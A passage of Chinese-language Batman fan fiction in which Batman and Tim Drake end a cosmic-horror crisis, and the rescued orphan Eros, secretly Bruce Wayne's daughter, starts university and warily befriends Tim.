"不是拯救。"蝙蝠侠的声音像砂纸摩擦金属,"是狩猎。"
22. 第 22 章
当蝙蝠车冲进暴雨中的哥谭湾隧道时,车载雷达显示后方建筑物正在经历克莱因瓶式的拓扑变换。提姆盯着臂甲上跳动的倒计时——01:27:43——数字突然分裂成两套并行的计时系统。
"空间叠加开始了。"芭芭拉的警告伴随着数据洪流涌入通讯器,"玛格丽特当年试图用分形数学计算拉莱耶的坐标,但她的大脑成了量子通道……"
隧道灯光突然变成暗红色。蝙蝠侠猛打方向盘避开从天花板垂下的半透明触须,那些介于晶体和生物组织之间的物质正在将混凝土转化为盐柱。蝙蝠车冲进未完工的第八隧道时,前照灯照亮了墙上用荧光涂料画的巨大符号,与玛格丽特手稿最后一页的血字完全相同。
"停车!"提姆的匕首突然共振发烫,"下面是空的!"
液压刹车声在隧道里激起诡异的回音。蝙蝠侠用震波仪扫描地面,发现三十米下确实存在托马斯韦恩日志记载的球形空间。当两人撬开检修井盖时,涌出的不是霉味,而是带着电离气息的海风。
垂直竖井的金属梯已经锈蚀成珊瑚状的晶体结构。提姆率先跃入黑暗,超声波匕首在坠落过程中自动激活,刀刃发出的蓝光照出井壁上游动的影子那些非欧几里得几何形态的投影正在试图避开声波频率。
蝙蝠侠的抓钩枪射中井底的反光面,两人悬停在巨大镜池上方。这个直径二十米的半球形空间里,平静的汞液表面映出的不是倒影,而是拉莱耶城的尖塔。池边环绕着七具晶体化的骸骨,其中一具女性骸骨的左手还握着餐刀。
"找到了!"提姆的声波匕首突然指向镜池西北角。半晶体化的身影正在汞液里沉浮,她的皮肤下星云状光斑已经扩散到颈部。
蝙蝠侠展开声波发生器,阿尔弗雷德远程激活的古老装置在地面七个位置同时嗡鸣。汞液表面泛起 standing wave,组成玛格丽特面孔的波纹发出次声波尖叫。蝙蝠侠突然摘下头盔,他的虹膜里浮现出与父亲日志相同的分形密码。
"看着我,玛格丽特。"他的声音在声波共振下产生多重回声,"托马斯没能完成的仪式,我来结束。"
汞液剧烈沸腾。当拉莱耶的投影开始实体化时,蝙蝠侠将改良后的蝙蝠镖掷向镜池中心。蕴含着扎坦娜咒语和提姆血液的金属片在接触液面瞬间释放出复合频率冲击波,整个球形空间突然陷入绝对黑暗。
三秒后,应急灯亮起。镜池表面凝结成哑光的金属板,欧洛斯的身体浮在固化汞合金上。提姆抱起她时,发现晶体化部分正在声波作用下退化。池底传来什么东西碎裂的清脆声响,托马斯韦恩当年设置的量子锁终于完成使命。
当蝙蝠翼掠过凌晨的哥谭湾时,声呐显示海底的异常几何体正在分解。蝙蝠侠看着后座昏迷的欧洛斯,她皮肤下最后一丝星云光斑随着朝阳升起而消失。芭芭拉的通讯请求突然切入:
"B...手稿最后一页更新了。"
全息投影上,神经墨水组成了新的段落,笔迹既像玛格丽特又像托马斯:"当观测者意识到观测行为本身,量子态就会坍缩。谢谢你们看着镜子。"
阿尔弗雷德递来热咖啡时,老管家罕见地没有发表意见。蝙蝠洞的监控屏幕上,韦恩大宅的镜厅恢复正常,只有最古老的威尼斯镜边缘残留着几粒汞珠,在阳光下折射出彩虹般的光谱。
提姆的超声波匕首突然发出提示音,他看向读数时挑了挑眉:"频率残留显示...晶体维度并未完全关闭?"
蝙蝠侠将咖啡一饮而尽,黑色披风扫过控制台:"那就保持监视。"他的瞳孔深处仍有几何光斑一闪而过,"毕竟这是哥谭。"
提姆转头看像蝙蝠车后座的欧洛斯微微挑眉“也包括她吗?”
蝙蝠侠并没有回应,但提姆知道,这个女孩会进蝙蝠侠的监视名单。
对蝙蝠系英雄来说,又解决了一场危机。而对欧洛斯来说,她的记忆停留在了跳入通道的瞬间。
欧洛斯猛地睁开眼睛,胸口剧烈起伏,仿佛刚跑完一场马拉松。她下意识抓住床单,指节因用力而发白。阳光透过窗帘的缝隙斜射进来,在木地板上投下一道金色的光带。
"我在...我的房间?"她喃喃自语,困惑地环顾四周。
墙上的海报、书桌上堆满的笔记、床头那个缺了口的马克杯…一切都和她记忆中的一模一样。但有什么地方不对劲。她最后的记忆是...是什么?一道刺眼的亮光?一个决定性的跳跃?还有那种坠落感,仿佛跌入无尽的虚空。
欧洛斯抬手揉了揉太阳穴,那里隐隐作痛。无论她怎么努力回忆,那段记忆就像被橡皮擦抹去的铅笔痕迹,只剩下模糊的轮廓。
"欧洛斯?你醒了吗?"门外传来轻轻的敲门声,是安德莉亚院长温柔的声音。
"是的,院长。"欧洛斯迅速整理了一下睡皱的T恤,光脚踩在冰凉的地板上走去开门。
安德莉亚院长站在门外,金丝眼镜后面的眼睛带着关切。"你还好吗,亲爱的?今天早上没见到你来吃早餐,玛茜和以利亚特意给你留了蓝莓松饼。"
欧洛斯眨了眨眼,突然意识到阳光的角度显示现在已经接近中午。"我...睡过头了。做了个奇怪的梦。"她勉强笑了笑,"我马上就去图书馆。"
院长伸手轻轻抚过欧洛斯的额头,就像她小时候发烧时常做的那样。"你看起来脸色有点苍白。如果感觉不舒服,今天可以休息。"
"不,我没事,真的。"欧洛斯摇摇头,那个奇怪的梦,如果那真的是梦的话,正在迅速褪色,像晨雾遇见阳光般消散。
接下来的几天,欧洛斯重新回到了她熟悉的生活节奏:早晨去哥谭公共图书馆整理书籍,下班后回到福利院帮助小孩子们做功课,晚上蜷缩在床上看书直到眼皮打架。那种记忆缺失的感觉渐渐被日常的安稳所取代,直到那个改变一切的下午。
"欧洛斯,能来我办公室一下吗?"安德莉亚院长在晚餐后叫住了她,声音里带着掩饰不住的兴奋。
欧洛斯跟着院长走进那间堆满文件的狭小办公室,阳光透过百叶窗在地板上投下条纹状的影子。院长示意她坐下,然后从抽屉里取出一个烫金的信封。
"这是什么?"欧洛斯接过信封,手指轻轻抚过上面凸起的韦恩集团徽章。
"打开看看。"院长的眼睛闪闪发光。
欧洛斯小心翼翼地拆开信封,抽出里面的信纸。当她读完第一段时,呼吸停滞了一秒。
"韦恩集团...要资助我上大学?全额奖学金?"她的声音轻得几乎听不见,仿佛害怕大声一点这个美梦就会破碎。
"不仅如此,"安德莉亚院长激动地说,"他们还提供住宿补贴和书本费。你不需要再等两年攒学费了,今年秋天就可以开始大学生活!"
欧洛斯的手指紧紧捏着信纸边缘,指节泛白。她的视线变得模糊,才发现自己不知何时已经泪流满面。多少个夜晚,她偷偷计算着需要兼职多少小时才能攒够第一学期的学费;多少次,她路过哥谭大学宏伟的校门时,告诉自己那只是个遥不可及的梦。
"为什么...为什么是我?"她终于抬起头,声音颤抖。
安德莉亚院长摘下眼镜,用那种让欧洛斯感到无比安全的目光看着她。"因为你值得这个机会,亲爱的。你的成绩、你在图书馆的志愿服务、你帮助其他孩子的方式,所有这些都让评审委员会印象深刻。"
院长绕过桌子,将欧洛斯拥入怀中。欧洛斯闻到她身上熟悉的薰衣草香水味,混合着一丝墨水的气息。
"我不知道...该说什么。"欧洛斯把脸埋在院长的肩膀上,声音闷闷的。
"你不需要说什么,"安德莉亚轻抚她的后背,"只需要知道,我们都为你感到骄傲。玛茜已经在计划庆祝蛋糕了,而以利亚……"她轻笑一声,"那孩子从昨天知道消息后就一直坐立不安,差点把秘密说漏嘴。"
欧洛斯破涕为笑,脑海中浮现出以利亚那张永远藏不住秘密的活泼的脸。但笑着笑着,一种奇怪的空洞感突然在胸口蔓延开来。大学意味着离开福利院,离开这个她生活了三年的家,离开安德莉亚院长、以利亚、玛茜和所有她视为家人的人。
"怎么了?"院长敏锐地察觉到她的情绪变化,双手捧起她的脸。
欧洛斯摇摇头,勉强扯出
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一个微笑。"没什么,只是...太突然了。我需要时间消化这个消息。"
那天晚上,欧洛斯辗转反侧。每当她闭上眼睛,就会看到两种截然不同的画面交替出现:一边是大学校园里熙熙攘攘的学生,陌生的面孔,高深的课本;另一边是福利院熟悉的走廊,孩子们的笑声,安德莉亚院长的苹果派香气。
凌晨两点,她放弃入睡,轻手轻脚地来到公共厨房,想给自己倒杯牛奶。月光透过窗户洒在桌面上,形成一片银色的光斑。
"睡不着?"
欧洛斯差点打翻玻璃杯。安德莉亚院长坐在角落的摇椅上,膝上摊着一本书,眼镜反射着月光。
"院长!您怎么……"
"老年人睡眠少。"院长微笑着合上书,"而且我知道这个消息对你来说分量很重。想聊聊吗?"
欧洛斯慢慢走到院长旁边的椅子上坐下,双手捧着冰凉的牛奶杯。"我只是...害怕。"她终于承认,声音小得几乎听不见。
"害怕什么,亲爱的?"
"害怕改变。害怕离开这里。"欧洛斯抬起头,月光下她的眼睛闪闪发亮,"这里是我的家。如果我去上大学,我...我会失去这一切吗?"
安德莉亚院长伸手握住欧洛斯的手,掌心温暖而粗糙。"欧洛斯,听我说。"她的声音坚定而温柔,"家不是一栋建筑,而是人与人之间的联系。无论你去到哪里,我们永远是你的家人。这个事实不会因为距离而改变。"
欧洛斯感到喉咙发紧。"但是……"
"没有但是,"院长轻轻打断她,"你知道我为什么如此确信你会成功吗?因为你拥有一种罕见的天赋,欧洛斯。你能在最黑暗的地方看到光明,能在最绝望的处境中找到希望。这种力量不会因为环境改变而消失。"
欧洛斯低下头,一滴泪水落入牛奶中,荡起微小的涟漪。
"而且,"院长调皮地眨眨眼,"哥谭大学离这里只有四十分钟车程。你以为我们会让你轻易逃脱周五电影之夜的责任吗?"
欧洛斯终于笑出声来,肩膀的紧绷感也随之消散了一些。"我会想念这里的每一个人。"
"我们也会想念你,"院长温柔地说,"但更多的是为你感到骄傲。想象一下,当你学成归来,能带给这些孩子们多少新的知识和希望?"
这个想法像一盏灯,突然照亮了欧洛斯心中的迷雾。她一直想帮助像她这样的孩子,那些没有父母却依然渴望知识和未来的孩子。大学不是终点,而是她能够更好地回馈这个给予她如此多爱的家的途径。
"我想学法律专业,"欧洛斯突然说,声音比之前坚定了许多,"也许我做不了什么,但我总想做些什么。"
安德莉亚院长的眼睛湿润了,她将欧洛斯拉入怀中。"这才是我认识的勇敢女孩。"
她们就这样在月光下的厨房里相拥,时间仿佛静止。
欧洛斯闭上眼睛,她想到了蝙蝠侠,她做不到像蝙蝠侠那样打击罪犯,保护哥谭的每一个夜晚,但她也有自己能做的事情,人活在这个世界,总要力所能及做些什么。但此刻,在这个温暖的怀抱中,她知道自己正站在新生活的门槛上。
第二天清晨,欧洛斯早早起床,将韦恩集团的资助信小心翼翼地放进文件夹。当她下楼时,发现以利亚和玛茜已经在餐厅等候,面前摆着三份早餐。
"所以,"以利亚的黑发像往常一样乱糟糟的,眼睛却异常明亮,"我们什么时候开始准备大学申请?"
欧洛斯微笑着坐下,接过玛茜推来的煎蛋和吐司。"我们?"
"当然!"以利亚夸张地挥舞着叉子,"你以为我会让你一个人面对这么刺激的冒险吗?我可是你的官方大学申请顾问。"
欧洛斯大笑起来,昨晚的忧郁一扫而空。也许改变没那么可怕,特别是当你不是独自面对的时候。
就在这时,厨房窗外,一只黑色的鸟影掠过天空,迅速消失在哥谭清晨的雾霭中。欧洛斯若有所觉地抬头,但窗外已经空无一物。她摇摇头,将注意力转回以利亚滔滔不绝的大学计划上。
无论未来如何,此刻,生活是美好的。
23. 第 23 章
哥谭大学的秋天总是来得特别早。九月中旬,校园里的枫叶已经开始泛红,像是一团团火焰点缀在灰褐色的哥特式建筑之间。
欧洛斯拉紧了身上的深灰色针织开衫,低头快步穿过中央广场。她是提前考入哥谭大学的,比大多数同学小一岁,但身高已经接近一米七,加上总是挺直的背脊和冷静的表情,很少有人能看出她的实际年龄。
"嘿,小心!"
一声呼喊从侧面传来,欧洛斯敏捷地侧身,一个橄榄球擦着她的红发飞过,砸在她身后的草地上。几个体育系的学生跑过来道歉,她只是摇摇头,继续向前走。
她并不是很想发展什么人际关系,比起无用的社交,欧洛斯更想学到更多的知识和技能。跟这些有家庭依靠的同学相比,长于福利院的欧洛斯希望自己有天能成为安德莉亚院长、以利亚和玛茜的依靠。
心理学导论的教室在顶层,欧洛斯总是提前二十分钟到达,选择最后一排靠窗的位置。从这里,她可以观察整个教室而不引人注目。她放下背包,取出笔记本和那支欧洛斯很喜欢的钢笔:韦恩集团优等生资助项目去年送的礼物。
学生们陆续进入教室,谈笑声渐渐填满空间。欧洛斯低头预习今天的内容,直到一个影子落在她的笔记本上。
"这个位置有人吗?"
声音很熟悉,偶尔欧洛斯能从电视里听到。欧洛斯的手指微微收紧,但她没有抬头,只是摇了摇脑袋。
提姆德雷克,布鲁斯韦恩的养子,罗宾,滑进她旁边的座位。她能闻到他身上淡淡的咖啡香和某种高级古龙水的气息,德雷克工业小开的标准配置。
"我是提姆,"他伸出手,"上周刚转来这门课。"
欧洛斯终于抬头,对上他蓝色的眼睛。她刻意让自己的眼神显得空洞而疏离。"欧洛斯。"她简短地说,没有握手的打算。
提姆收回手,笑容不变,但欧洛斯能看出他眼中的评估。很好,让他觉得我是个怪人,他就会保持距离。
教授开始讲课,欧洛斯全神贯注地记笔记,刻意忽略旁边时不时投来的目光。她知道为什么提姆会出现在这里,之前那场荒诞的克苏鲁事件后,蝙蝠侠肯定不会放弃对她的监视。这是她在哥谭遇到的第二起还是第三起特殊事件?说实话,欧洛斯有时忍不住会想,她是不是有点倒霉?
下课铃响起,欧洛斯迅速收拾东西准备离开。
"嘿,欧洛斯,"提姆叫住她,"下周的小组作业,要一起吗?"
欧洛斯停下脚步,但没有转身。"我已经有组了。"她撒谎道。
"真的?教授说今天才分配。"
她咬住下唇。该死,他做了功课。"我习惯提前安排。"她终于转过身,强迫自己直视他的眼睛,"而且我喜欢独自工作。"
提姆歪了歪头,表情显得有些无辜。"好吧,如果你改变主意..."
"我不会。"欧洛斯快步离开教室,心跳如鼓。太近了,离韦恩家的人太近了。她穿过走廊,直到确定提姆没有跟来,才靠在洗手间外的墙上深呼吸。
欧洛斯遗传了母亲的红发绿眼,五官仔细看能看得出来长得像布鲁斯,至少是布鲁斯年轻时的样子。如果提姆看得够仔细...不,他不会联想到那里去。布鲁斯韦恩根本不知道她的存在,而她打算一直保持这样。
接下来的几天,欧洛斯刻意避开心理学导论课后可能遇到提姆的所有路线。她去图书馆的时间提前了一小时,午餐选择最偏僻的食堂角落。但哥谭大学就这么大,尤其是当某人有意寻找你时。
周五下午,欧洛斯在数学楼完成实验报告后,发现外面下起了倾盆大雨。她没有带伞,正考虑是否要冒雨跑回宿舍时,一把黑伞出现在她视线边缘。
"需要搭个便伞吗?"
欧洛斯闭了闭眼。提姆德雷克,阴魂不散。"不用,谢谢。"她拉上兜帽,准备冲进雨里。
"等等,"提姆拦住她,不是用手,而是用声音里的某种真诚,"至少拿上这个。"他从背包里拿出一把折叠伞递给她。
欧洛斯犹豫了。拒绝显得太过刻意,接受又像是打开了一扇她不想打开的门。"你自己呢?"
"我有车停在附近。"提姆笑了笑,"而且我猜你宁愿独自行走。"
他看穿了她。欧洛斯感到一阵不安,但还是接过了伞。"我会还你的。"
"不着急。"提姆退后一步,"周二心理学课?"
欧洛斯点点头,撑开伞走进雨中。伞上有淡淡的香气,就像…布鲁斯的味道,欧洛斯知道这都是自己的幻觉,但她还是想起了十三岁那年第一次靠近父亲闻到的味道。那个下午……
雨水打在伞面上的声音掩盖了校园的其他声响,欧洛斯放慢脚步。提姆为什么对她这么执着?仅仅是蝙蝠侠的疑心病,还是有其他原因?她拐过生物楼,突然停下脚步。
三个高大的男生堵在小路中央,是校园里有名的恶霸团体。
"看看这是谁,福利院的小天才。"领头的男生讥笑道,"听说你拒绝了兄弟会的邀请?觉得我们配不上你?"
欧洛斯握紧伞柄。她早该知道拒绝那些人的派对邀请会招来麻烦。"我只是没兴趣。"她平静地说,寻找绕过去的路径。
"哦,她说话了!"另一个男生夸张地鼓掌,"听说你和德雷克家的小子走得很近?攀上高枝了?"
欧洛斯感到一阵愤怒涌上心头。"我和他没关系。"她咬牙道。
"那为什么他天天跟着你转?"其中一个男生逼近一步,"你们福利院的女孩都这么会勾引人吗?"
欧洛斯的手指发冷。在福利院的三年,她学会了很多自卫技巧,但面对三个体育生...她后退一步,后背抵上了湿冷的墙壁。
"打扰一下?"
一个声音从雨幕中传来,所有人都转过头。提姆德雷克站在那里,没打伞,金发被雨水打湿贴在额前,但眼神锐利得不可思议。
"这不关你的事,德雷克。"领头的那个警告道。
提姆耸耸肩,走到欧洛斯身边。"实际上,关我的事。欧洛斯是我心理学课的小组伙伴,我们有个项目要讨论。"他轻松地说,仿佛没注意到紧张的气氛,"教授在等我们。"
男生狐疑地看着他们。"真的?"
"当然,"提姆微笑,"你可以去问加尔顿教授。对了,皮恩特,你上周的橄榄球赛表现真不错,四分卫位置很适合你。"
欧洛斯惊讶地看着提姆。他怎么会知道这些?皮恩特的表情明显动摇了,被学校风云人物记住名字的虚荣心与未发泄的怒气在他脸上交战。
"...算了,走吧。"皮恩特最终嘟囔着,带着同伴离开了。
雨继续下着,打在他们之间的沉默上。欧洛斯终于开口:"你跟踪我。"
提姆抹了把脸上的雨水。"我回去拿车,看到你被围住。"他顿了顿,"你还好吗?"
欧洛斯不知道该说什么。她应该生气,应该再次推开他,但刚才那一刻...她递出伞。"拿着。"
提姆接过伞,为他们两人撑起一片干燥的空间。现在他们站得太近了,欧洛斯能闻到他身上雨水混合着咖啡的气息。
"谢谢。"她最终低声说。
提姆点点头,没有追问她为何被针对,也没有炫耀他的解围。"我送你回宿舍?"
欧洛斯犹豫了一下,然后点头
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。他们并肩走在雨中,伞下的空间有限,但谁都没有抱怨。
"你为什么选心理学导论?"提姆突然问。
欧洛斯思考着如何回答这个看似简单的问题。"...我想了解人们为什么会做某些决定。"她最终说,这是真话,虽然不是全部。
提姆若有所思地点头。"我是因为布鲁斯,我的养父。他总说了解心理能让你在战斗中占优势。"
提到布鲁斯韦恩,欧洛斯的心跳漏了一拍。"你和他很像吗?"
"在某些方面。"提姆笑了,"但在固执方面,我远不如他。"
欧洛斯忍不住也微笑起来,随即意识到这是她第一次对提姆露出真实表情。她迅速收敛笑容,但已经晚了。
"你笑起来很好看。"提姆说,然后像是意识到这话太直白,迅速补充,"我是说,你平时总板着脸,像是..."
"像是讨厌所有人?"欧洛斯挑眉。
"像是害怕被人看到真实的你。"提姆轻声说。
雨声突然变得很大,欧洛斯感到一阵暴露感。他看到了太多,这很危险。"我的宿舍到了。"她停在女生宿舍楼前,"谢谢你的伞...和帮忙。"
提姆点点头,没有强求更多。"周二见?"
欧洛斯犹豫了一下,然后点头。"周二见。"
她跑进宿舍楼,没有回头看他是否还站在那里。进入电梯后,她才允许自己深呼吸。太近了,但还是...没那么糟。也许和提姆德雷克做朋友不会像她想象的那么危险。只要他永远不会发现她是谁,只要她能控制好自己的心。
窗外,雨继续下着,洗刷着哥谭大学的每一寸土地,也洗刷着欧洛斯心中筑起的一部分高墙。
欧洛斯将那把黑色折叠伞放在宿舍书桌上,用湿巾仔细擦拭每一根伞骨。雨水早已干了,但她还是固执地清理着想象中的水渍。她不该保留这件东西太久。
周二早晨,阳光穿透云层,将哥谭大学古老的石砖建筑镀上一层金色。欧洛斯比平时更早到达心理学教室,将伞放在提姆上周坐过的位置上,然后迅速退到教室另一端自己的老位置。
学生们陆续进来,提姆几乎是踏着上课铃进入教室的。他今天穿着深蓝色毛衣,金发有些乱,像是刚从床上爬起来就冲到了学校。他看到桌上的伞,眼睛一亮,随即扫视教室,发现了角落里的欧洛斯。
欧洛斯假装没注意到他的目光,低头翻看笔记。教授开始讲课,她强迫自己集中注意力,但能感觉到提姆时不时投来的视线。下课铃响起,她迅速收拾东西准备离开,却被一个身影挡住了去路。
"谢谢你把伞送回来。"提姆微笑着说,"我本来还担心你会把它扔了。"
欧洛斯将一缕红发别到耳后,避开他的目光。"我说过会还的。"
"我有个学习小组,每周三下午在图书馆。"提姆突然说,"如果你有兴趣的话。我们主要讨论心理学和哲学相关的内容。"
欧洛斯抬头看他,绿眼睛里闪过一丝惊讶。"为什么邀请我?"
"因为你上周的课堂发言很精彩。"提姆耸耸肩,"而且,小组作业的事...我知道你其实没有组。"
欧洛斯的脸微微发热。他早就看穿了她的谎言。"我不太擅长团体合作。"
"那就更需要练习了,不是吗?"提姆的笑容带着一种难以拒绝的真诚,"三点,图书馆三楼东区。来不来随你。"
他转身离开,没有给她拒绝的机会。欧洛斯站在原地,手指无意识地摩挲着笔记本边缘。这是个坏主意。每多接触一次,被发现身份的风险就增加一分。但另一方面...她确实需要学习小组来完成那个变态难的哲学论文。
24. 第 24 章
周三下午两点五十分,欧洛斯站在图书馆三楼东区的书架后,透过缝隙观察那个角落。提姆已经到了,和他一起的还有三个人:一个金发女孩正兴奋地说着什么,一个戴眼镜的亚裔男生专注地敲打笔记本电脑,还有一个高大的黑人男生在翻阅一本厚重的参考书。
欧洛斯深吸一口气,调整了一下背包肩带,走了过去。
"你来了!"提姆第一个注意到她,脸上绽放出笑容,"大家,这是欧洛斯,心理学导论的同学。欧洛斯,这是斯蒂芬妮、卢卡斯和迈尔斯。"
金发女孩斯蒂芬妮,热情地拍了拍身边的空位。"快来坐!提姆说你超厉害,上周那个弗洛伊德的理论分析让他都自愧不如。"
欧洛斯谨慎地坐下,将背包放在脚边。"他只是客气。"
"才不是,"提姆递给她一杯咖啡,"我从不虚假恭维。黑咖啡,不加糖,对吗?"
欧洛斯惊讶地看着他。上周心理学课后,她确实在食堂喝过黑咖啡...他注意到了?她接过纸杯,小心地啜了一口。"谢谢。"
"好了,学术时间。"卢卡斯推了推眼镜,"我们今天要解决康德和休谟的问题,然后讨论下周心理学期中可能的重点。"
接下来的两小时,欧洛斯发现自己完全沉浸在了讨论中。卢卡斯对哲学体系的梳理清晰得惊人,迈尔斯提出的反例常常引发激烈辩论,而斯蒂芬妮,尽管看起来活泼外向,对心理学案例的分析精准得令人咋舌。
至于提姆...他像是这个小组的粘合剂,总能在讨论陷入僵局时提出关键问题,引导大家深入思考。
"福利院的社工案例确实符合马斯洛需求层次理论,"欧洛斯指着斯蒂芬妮笔记上的一段话说道,"但你们忽略了文化差异这个变量。在哥谭东区,安全需求往往比生理需求更基础。"
桌边突然安静下来。欧洛斯这才意识到自己无意中提到了福利院。四双眼睛好奇地看着她,但没有她熟悉的怜悯,只有纯粹的学术兴趣。
"这观点太棒了!"斯蒂芬妮拍了下桌子,引来图书管理员的瞪视,"抱歉...但真的,我们完全没想到这点。你有相关数据吗?"
欧洛斯犹豫了一下,然后从背包里取出一个黑色笔记本。"我这里有一些哥谭社会福利体系的非官方统计..."
提姆接过笔记本翻看,眼睛逐渐睁大。"这些是你自己整理的?从新闻报道和议会记录中提取数据?"
欧洛斯点点头,突然感到一阵不安。她暴露太多了。
"天才。"迈尔斯凑过来看,"你应该发表这个。"
"只是业余兴趣。"欧洛斯迅速拿回笔记本,"我们继续讨论认知失调理论?"
提姆若有所思地看了她一眼,但顺从地改变了话题。太阳西斜时,小组才结束讨论。斯蒂芬妮热情地邀请欧洛斯参加他们周五的披萨之夜,欧洛斯以已有安排婉拒了。虽然她确实有事,她得回去参加周五电影之夜。
"至少下周还来学习小组?"提姆送她到图书馆门口,"你贡献太大了。"
欧洛斯看着夕阳为他镀上一层金边,突然觉得拒绝变得异常困难。"...我看情况。"
"那就是会来。"提姆笑了,"对了,你哲学论文选了什么题目?"
"《论道德责任的界限》,"欧洛斯回答,"聚焦哥谭的灰色地带。"
提姆吹了声口哨。"勇敢的选择。我还在纠结选题呢。"
他们道别后,欧洛斯走出几步,又回头看了一眼。提姆还站在图书馆门口,阳光中的剪影挺拔而清晰。她想起布鲁斯某次慈善演讲的照片...不,不该想这个。她加快脚步离开。
周四早晨,欧洛斯在去生物课的路上经过哲学楼,无意中透过窗户看到提姆独自坐在空教室里,面前摊开一堆资料,眉头紧锁。她本该继续走,但鬼使神差地停下了脚步。
"...道德形而上学的奠基..."提姆喃喃自语,烦躁地抓了抓头发,"该死,这到底该怎么切入..."
欧洛斯悄悄离开,但那天下午,提姆回到图书馆常坐的位置时,发现一叠整齐的笔记和几本标记好的参考书放在桌上。笔记上没有署名,但那工整有力的笔迹和精准的文献引用方式,他一眼就认出来了。
周五的心理学课上,提姆坐到欧洛斯旁边,轻声说:"谢谢那些资料。救了我的命。"
欧洛斯假装困惑地看着他。"什么资料?"
"没什么。"提姆微笑着翻开课本,"对了,学校咖啡馆新来的糕点师做的杏仁可颂很棒,课后想去尝尝吗?"
欧洛斯应该拒绝的。但阳光透过窗户洒在提姆的侧脸上,让他看起来温暖得不真实。"...就半小时。"她小声说。
咖啡馆里人声嘈杂,他们幸运地找到了一个角落的小桌。提姆买了两个可颂和两杯咖啡,欧洛斯坚持要AA制付了自己那份。
"所以,"提姆咬了一口可颂,"除了心理学和哲学,你还对什么感兴趣?"
欧洛斯思考了一下。"建筑,"她最终说,"哥谭的老建筑。"
"真的?布鲁斯也痴迷这个。"提姆的眼睛亮起来,"他书房里有整个哥谭建筑史的收藏。"
欧洛斯的手指在咖啡杯上收紧。
"...我只是喜欢画它们。"欧洛斯从钱包里取出一个小素描本,翻开几页给提姆看,"业余爱好。"
提姆接过本子,惊讶地睁大眼睛。"这些太棒了!你捕捉到了哥谭大学的灵魂。"他指着一幅钟楼的素描,"连阴影的角度都这么精确,你肯定花了很多时间观察。"
欧洛斯微微脸红。"数学楼顶楼有个角落视野很好。"
"下次带我去?"提姆期待地问,"我带了相机,但总拍不出那种感觉。"
欧洛斯犹豫了一下,点了点头。他们聊起了哥谭不同街区的建筑风格,然后是喜欢的书籍和电影。半小时延长到了一小时,当提姆说起布鲁斯带他去意大利看的某座教堂时,欧洛斯发现自己竟然在笑,真诚地笑,不是那种社交性的微笑。
"提姆德雷克!"一个尖锐的女声打断了他们。一个穿着时髦的女生站在他们桌边,手里拿着录音笔,"校报记者贝莉芙范斯。能采访你几分钟吗?关于德雷克工业最近的环保争议?"
提姆的表情瞬间变得礼貌而疏离。"抱歉,现在是私人时间。"
"就五个问题。"女生坚持道,"听说你父亲……"
"养父。"提姆纠正道,声音变硬了。
"……布鲁斯韦恩正在考虑收购德雷克工业的竞争对手,这是真的吗?"
欧洛斯看到提姆的手指在桌下微微攥紧。他突然看起来疲惫不堪,像是经历过太多次这样的突然袭击。
"范斯,是吗?"欧洛斯突然开口,声音清晰而冷静,"哥谭大学校报第三章第四节规定,未经允许在校园内进行商业性采访需提前三天申请。你走程序了吗?"
女生愣住了。"什么?"
"另外,"欧洛斯继续道,绿眼睛直视对方,"根据隐私保护条例,在私人社交时间骚扰学生可被举报到学生委员会。你想试试吗?"
贝莉芙张了张嘴,又闭上。"...打扰了。"她最终说道,悻悻离开。
桌边陷入短暂的沉默。提姆惊讶地看着欧洛斯。"你怎么记得校报规章那么清楚?"
欧洛斯抿了一口咖啡。"我喜欢读规章制度。很有...秩序感。"
提姆大
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笑起来,那种发自内心的、毫无保留的笑声引得周围几桌人都转头看。"欧洛斯,你真是个宝藏。"
阳光透过咖啡馆的彩绘玻璃,在他们之间的桌面上投下斑斓的光影。欧洛斯感到一种奇怪的温暖在胸腔扩散。这很危险...但也很好。
"所以,"她轻声说,"那个教堂的圆顶后来怎么样了?"
提姆的眼睛亮起来,继续讲述他的故事。窗外的哥谭天空呈现出少见的湛蓝色,几朵白云悠闲地飘过。
在这个平凡的周五下午,欧洛斯允许自己暂时忘记身份、忘记秘密,只是作为一个普通大学生,享受一杯咖啡和一段新生的友谊。
哥谭大学老图书馆的铜质圆顶在晨光中泛着微绿的光泽,欧洛斯站在数学楼顶层的观察点,用铅笔在素描本上快速勾勒着建筑轮廓。
今天是周六,她比约定时间提前了一小时到达,想要独自完成这幅画了一半的素描。
"我就知道能在这里找到你。"
欧洛斯手一抖,铅笔在纸上划出一道多余的线条。她转头看见提姆站在楼梯口,穿着深灰色休闲西装和黑色T恤,脖子上挂着专业相机,金发在晨风中微微飘动。
"你早到了。"欧洛斯合上素描本。
提姆走到她身边,递过一杯冒着热气的纸杯。"拿铁,加了一点点肉桂。猜你可能需要暖手。"
欧洛斯接过咖啡,热度透过纸杯传到她指尖。"谢谢。"她小心啜了一口,恰到好处的甜度和香气让她微微睁大眼睛。
"怎么样?"提姆期待地问。
"...完美。"欧洛斯不得不承认。她指向远处的老图书馆,"那是我们今天的第一个目标。建于1892年,哥特复兴风格,但融入了些新艺术运动的元素,你看那些铁艺装饰..."
提姆微笑着听她滔滔不绝地讲解,眼睛里的专注让欧洛斯突然意识到自己说得太多了。她停下来,耳朵发热。"抱歉,我有点兴奋。"
"别停,"提姆调整相机镜头,"这很棒。布鲁斯也总是这样,一旦谈到建筑就停不下来。"
欧洛斯的手指在咖啡杯上收紧。又一次,布鲁斯的名字轻易地出现在他们之间。她转身指向建筑另一侧,"我们从西侧入口进去,那里平时很少有人走。"
十分钟后,他们站在老图书馆锈迹斑斑的侧门前。欧洛斯从背包里取出一把老式钥匙,"福利院的以利亚是这里的前管理员,他给了我备用钥匙。"
提姆挑眉,"我以为我们只是在外围拍照。"
"内部结构才是精华。"欧洛斯眼睛发亮,"三层高的阅览室,铸铁螺旋楼梯,还有彩色玻璃穹顶...你不会想错过的。"
门轴发出刺耳的呻吟,昏暗的室内扑面而来的是灰尘和陈旧纸张的气息。阳光透过高处的彩绘玻璃,在地板上投下斑驳的色彩。提姆打开手电筒功能,光束扫过高耸的书架和蛛网密布的天花板。
"这太不可思议了..."提姆轻声说,声音里充满敬畏,"像是时间胶囊。"
欧洛斯领路穿过阅览室,她的脚步轻盈而熟悉,仿佛走过无数次。"小心第七块地板,会吱嘎响。"她提醒道,"管理员办公室在二楼,我们可以从那里开始。"
提姆跟在她身后,相机不断发出轻微的咔嚓声。"你经常来这里?"
"第一次溜进来是十四岁。"欧洛斯承认,"那时老图书馆刚关闭,安保还很松懈。"
他们爬上螺旋楼梯,铁制台阶在脚下发出细微的震颤。提姆突然停下,转头看向下方。"你听到了吗?"
欧洛斯凝神倾听,只有建筑本身的吱呀声。"什么?"
"像是...脚步声。"提姆皱眉,"可能只是建筑老化。"
